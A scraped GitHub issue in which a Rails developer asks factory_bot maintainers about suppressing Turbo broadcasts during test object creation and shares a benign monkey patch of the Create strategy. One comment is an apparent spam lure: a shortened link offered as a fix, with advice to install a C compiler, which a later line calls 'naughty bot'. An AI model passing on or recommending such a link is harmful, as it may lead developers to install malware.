Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Question: Option to disable broadcasts when creating objects via factory_bot #1702

Open
bk-one opened this issue Sep 19, 2024 · 2 comments
Open
Labels

Comments

@bk-one
Copy link

bk-one commented Sep 19, 2024

Problem this feature will solve

Using Turbo in in Rails 7+, we're commonly broadcasting updates using the [Broadcastable](https://github.com/hotwired/turbo-rails/blob/main/app/models/concerns/turbo/broadcastable.rb) functionality. In most of our unit tests, those broadcasts are not really required and I would like to have a way to disable broadcasts temporarily when using FactoryBot.create.

Turbo/Broadcast does provide a convenience method to disable broadcasts via:

  suppressing_turbo_broadcasts do
    ...
  end

So I ended up wrapping this around my create() calls. This doesn't seem to be the right approach, so I was wondering if there are plans to support this out-of-the-box eventually, or if should establish my own strategy to enable this? Eager to hear what would be the best way to have something like:

create(:my_factory) # with broadcast
create_without_broadcast(:my_factory)

Just for reference, a monkey patch like this does work as intended - just wondering if this is right way to go about it.

class FactoryBot::Strategy::Create
  def result(evaluation)
    if evaluation.object.class.respond_to?(:suppressing_turbo_broadcasts)
      evaluation.object.class.suppressing_turbo_broadcasts do
        create_object(evaluation)
      end
    else
      create_object(evaluation)
    end
  end

  def create_object(evaluation)
    evaluation.object.tap do |instance|
      evaluation.notify(:after_build, instance)
      evaluation.notify(:before_create, instance)
      evaluation.create(instance)
      evaluation.notify(:after_create, instance)
    end
  end
end
@bk-one bk-one added the feature label Sep 19, 2024
@bk-one
Copy link
Author

bk-one commented Sep 19, 2024

I think this will help you.

https://bit.ly/4eugCty If you don't have the c compliator, install it.(gcc or clang)

naughty bot

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants
@bk-one and others